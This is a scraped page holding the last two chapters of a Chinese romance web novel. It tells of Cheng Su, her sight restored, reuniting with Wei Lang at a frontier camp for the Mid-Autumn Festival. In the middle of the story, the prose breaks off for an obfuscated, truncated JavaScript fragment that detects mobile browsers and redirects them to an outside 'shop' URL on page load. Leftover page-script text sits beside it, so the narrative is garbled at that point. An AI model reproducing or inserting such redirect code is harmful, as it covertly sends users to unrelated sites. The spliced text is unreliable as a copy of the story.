接下来的半个月,他带着随从就这样每走一处关隘,就停下来逗留几日。眼看着每晚的月亮一天比一天圆了,他这才赶在节前匆匆回了驻军大营。 刚回去不久,他二叔的人就说喊他过去一起吃酒。 卫琅也没有多想,赶过去陪坐下喝了几杯后,总觉得今日这中军大营里有些奇怪:“怎么不见二婶他们?” 今日的帐内竟然只有他和他二叔两人,他二婶不在倒也正常,毕竟她也不爱看他们叔侄俩喝酒,倒是那对格外闹腾的龙凤胎,怎么也不见了踪影。 “他们啊……”卫大将军轻描淡写道,“已经回去了,一路快马加鞭,估计再过几天,人都快要到京城了。” 卫琅大惊:“二叔,您怎么也不通知我一声,我好给二婶他们饯行?” 卫大将军斜眼睨他:“怎么没叫你,那天晚上叫你来吃酒,是谁理都不理人,之后连个人影也没有了。” 卫琅自知理亏,只好闭上了嘴。 他也能猜到,二婶他们匆匆动身,多半是为了赶在节前回京城与老夫人他们团聚,一时又是羡慕又是惆怅。 叔侄俩正喝着闷酒,帐子外面突然有人来报,估计说的是什么机密军情,还特意伏在他二叔耳边说的。 卫琅自顾自地低头喝着酒,忽然听他二叔笑道:“阿琅,你看是谁来了。” 他只当是军中哪个将领来了,漫不经心地一抬头,却瞬间僵在了那里。 帐子被人从外掀起,迎面进来一人。对方身披淡青色素面斗篷,摘下帽子后露出了那张熟悉的面容,目光盈盈含笑看来,不是他日思夜想的那个人又是谁。 32. 第三十二章 卫琅瞬间跳了起来,上前一把人抱住,过了好一会儿想起他二叔还在场,这才拉着程素的手坐下,还仍只顾着傻笑:“你怎么来啦,也没跟人我说一声?” 程素莞尔一笑,这才解释起来。 其实早在卫琅刚到边关不久,她就跟二夫人宁氏在信中商量过她们回京的事。 侯府里老的老,小的小,她们考虑再三,还是觉得府里不能没人照看,商量好了两边轮流着来。 只是程素的眼一直未能治好,迟迟不能离开,而宁氏在边关也有一些琐事要处理。双方原本定的时间是年底,到那时宁氏携龙凤胎回京,一家人团聚。 然而七月初,太医再次来给程素诊治后,就已经确认她的视力已经恢复了九成,几乎与正常人无异了。 在老夫人她们的鼓动下,程素动了心思,打算趁中秋节来来边关看望一趟卫琅。与此同时,二婶她们也正好返京,争取在节前和亲人团聚。 可惜的是,临出发前不久,老夫人突感风寒,程素只得让郑管事和货物先行出发,自己又留了几天,确定了她老人家没有什么大碍后,这才动身。 一路紧赶慢赶,总算赶在昨天傍晚才到了驻地,却听闻卫琅下去犒军去了。 卫琅有些不好意思地笑笑:“……可惜了,你来了二婶又不在了,不然咱们几个还能凑在一起过个节。” 程素道:“会有机会的。” 二夫人还是放心不下边关这里。 听她的打算,是准备先回京看看多年未见的卫珏,再用小半年时间把龙凤胎那边安顿好,等两个小的适应了京城那边的生活,她再回来跟二叔一起。 卫琅目不转睛地听她说话,总觉得程素和他印象里有些不一样了,可是到底是哪里不同,一时又说不上来。 察觉到他的视线,程素也回望过来,目光带着询问,眼瞳里非但没有了曾经的空茫,反而眉目流转,盈盈如秋水。 卫琅一个激灵,这才想起了方才被他忽略且很重要的一点,结结巴巴地问:“……你的眼,已经好了?” 程素笑着点了点头。 一旁的卫二叔饶有兴致地看着自家侄子的脸蹭地一下红了起来,左顾右盼上看下看,竟连跟人对视都不敢了。 过了好一阵儿,卫琅才又镇定下来,但不知不觉腰也挺直了,整个人的姿态也显得矜持了不少。 卫二叔强忍着笑,一边与他们闲话,一边看自家侄子的乐子。 不知不觉,帐外暮色四合,天色暗了下来。眼看快入夜了,卫二叔笑道:“好了,接风的酒也喝得差不多了,阿琅你也先带素素去休息。我今晚还有事,就不陪你们俩一起吃饭了。” 卫琅连忙道:“二叔,今晚可是过节,若没什么要事,咱们一家团圆饭还是要吃的。” 卫二叔笑骂道:“就是要过节,才要离你们远点。你二婶不在,我这个孤家寡人也就只能去找将士们作伴了。” 他刚刚在旁边看这小两口眉来眼去了半天,只觉得牙都要酸掉了,可不想留下来看年轻人你侬我侬。 帐子是卫二叔的,他都要走了,卫琅他们也只好告辞。 卫琅拉着程素,兴冲冲地要回自己的营帐,才走到一半,就听到了远处传来一阵略有些耳熟的汪汪声。 这营地附近哪来的狗? 卫琅还没来得及想明白,只见两道黑影嗖地朝这边冲了过来,两只通体纯黑、体态修长的成年细犬飞快跑到程素的身边,争先恐后地围着她打转。 卫琅嘴角抽了抽:“你怎么把它们也带来了?” 程素蹲下身来,一边摸摸两只细犬的脑袋,一边跟他解释:“我听人说细犬是上好的猎犬,把它们留在侯府,也只是每日被关在园子里来回打转。把它们带来边关,不仅能让它们透透气,还可以让它们陪你一起打猎,不是很好吗?” 卫琅见她神色认真,瞬间也正色起来:“说的正是,不能让它们闲着。” 后半句他没说出口—— 省得整天就只知道跟主人讨好卖乖,一点正事也不干。 他还使了个眼色,连忙让人把这两只狗先牵走。 程素也有些无奈。 明明当日还是卫琅送她的狗,如今他反而防它们像防贼一样。 不过说笑归说笑,两人已经许久没见了,还是携手进了帐内。 一回到自己的地盘,卫琅就恨不得把这些日子以来积攒的话一股脑儿地倒给程素,孰料他正要拉程素坐下,对方却先从地上捡起个团成一球的纸团。 “这是什么?” 卫琅:……! 他下意识去抢,手刚伸出来,就迎上了程素好奇的眼,顿时反应过来自己这明显是做贼心虚,只好老实承认:“……是之前想写给你的信,你先前忘了给我寄信,我还当你把我忘了。” 程素认真道:“以后不会了。” 卫琅知道她的性格认真,但凡承诺了的事,绝不会食言,这些日子以来所有的郁闷不满,瞬间都一扫而空。 他的手刚有些蠢蠢欲动,悄无声息地准备揽上程素的腰肢,外面突然一阵锣鼓喧天,把两人都吓了一跳。 诚如卫二叔所说,今日是中秋节,军中就算是不举行什么盛会,为了避免将士们思乡心切、心情低落,将领们也要分酒分肉,犒劳慰问一番,上下同乐。 不过这样一来,整个营地难免就变得乱哄哄的,空气中飘来酒肉香气,不是有人高歌,就是呼喊大笑。 就是帐内再温情缱绻的氛围,也能被外面那群大老粗给冲散了。 卫琅想了想,问:“你累不累,我带你出去转转?” 他打发了随从们,带着程素绕开士卒们聚集喧闹的地方,还顺手牵了一匹枣红马,从营地里溜了出去。 两人共乘一骑,悠悠荡荡地往不远处满是野草的山坡上走去。 等到了地方,卫琅扶着程素下了马,脱下身上的斗篷往地上一铺,两人就这样并肩坐在上面,向远处眺望。 这里位置绝佳,不仅能看到下方篝火点点的驻军大营,还能看到远处连绵起伏的山峦,就连夜空仿佛也近在咫尺。 卫琅起初想得倒很好,他和素素两人找个安静的地方,喝点酒赏赏月亮,岂不美哉。然而来了之后却发现,根本不是那么一回事,这里黑灯瞎火的不说,只有一片枯草坡,月亮也没有出来。 天上不知哪来了一块浓云,挡得严严实实,连光都没透出几丝。 好在夜里没有寒风,还不算太冷。 但他还是有些不自在道:“这里实在没什么意思,比不上京城。等将来回去了,我带你好好到处逛逛。” 程素却摇了摇头,出神地望向夜空:“我倒觉得,这里也挺好的。” 很好……吗? 程素轻声道:“别忘了,我自小也是在京城长大的,反而是边关这里的景色,只在书上和你写的信里见过。” 卫琅挠挠头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162389|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他其实自己也不太记得他在信里写过的话了,他总是想到什么就写什么,一大堆有的没的都写上去。 程素没再说话,抱膝静静地望向天上。 卫琅悄悄挨着她坐得更近了一些。 天上虽没有月亮,但夜空仍然苍茫寥廓,上面是密密麻麻的星子。 过去的大半个月里,程素自京城赶来,一路舟车劳顿,这还是头一次有时间静下心来好好欣赏这边的景色。 西北和京城,乃至岭南都不同,这里的树没有那么高,才八月中旬就已经呈现出一片荒凉萧瑟的景象。 但这里的山格外雄浑,视野格外开阔,放眼望去,人在天地间无限渺小。 三月初和卫琅分别之后,她就只能从每月往来的信里得知他的近况。 听他抱怨西北这里的艰苦,听他得意地说自己今天又打了胜仗,听他絮絮叨叨地说着西北这边都能风土人情。 她仿佛也随着他一起,亲眼见过春天时草原上成簇成团金灿灿的野花,驰骋过荒凉的大漠和戈壁,跋涉过了连绵荒山,经历了无数不曾见到的人和事。 不过那时只是想象,而如今她真的来到这里,卫琅此刻也就在她的身边。 程素正有些出神,忽然听到身边传来响动,才发现就这么一会儿的功夫,卫琅不知何时生了一堆火,手里甚至还捉了只不知从哪来的倒霉野兔。 见她一脸惊讶,他还得意地冲她挑挑眉:“生了火暖和些。这个你别看,血淋淋的,一会儿吓哭了可别扑到我怀里。” 然而程素怎么会听他,反而越发专心地看着他剥兔皮。通红的火光映得她的脸庞明莹如玉,眼神格外澄明。 卫琅从前不知道,一个人的注视竟然也能让人这样难熬。在她的注视下,他难得笨手笨脚地处理完兔子,才不好意思地问:“你……看什么呢?” 程素粲然一笑,语气中难得带上了几分揶揄:“在想你小时候的样子。” 方才趁他不好意思时,她认认真真地看了他的模样,终于从久远的记忆里,找出了几分当年模糊的影子。 人和人的因缘际会多么奇妙,许多年前那个上元夜的短暂交会,兜兜转转竟成了如今陪伴在身旁的人。 卫琅也想到了曾经。 真奇怪,当年那一晚于他而言,明明再惊险不过,如今回想起来,他记得的反而是那晚的花灯明亮,月色也很美。 正这样想着,忽而身旁的火堆摇曳不定,一阵风吹破了天上那团乌云,赫然露出冰盘般的圆月,洒下无数清辉。 西北这里的月亮与别处都不同,这里的月亮格外大而圆,仿佛随着天幕一并低垂下来,就落在不远处的山坡那头。 卫琅瞬间激动起来,正想叫程素抬头看,一转头却下意识地住了口。 她仰着头微微睁大了眼,惊奇地看着从未见过的圆月,脸上的神情那么专注、满足,他在旁边看着,心里同样涌动着莫名的情愫,仿佛自己也得到了满足。 他有些迟疑着伸出手,待程素轻轻靠在他的肩头上,万千言语只化作了一种无法言说的宁静和安心。 此时山风轻拂,圆月在天,不远处驻军大营的歌声隐约传来,苍凉的调子诉说着对远方亲人的思念。 两人静静依偎着彼此,听着对方的心跳,到最后相视一笑。 天上月如当年月,眼前人是心上人。 再没有比这一刻,更圆满的了。 -正文完-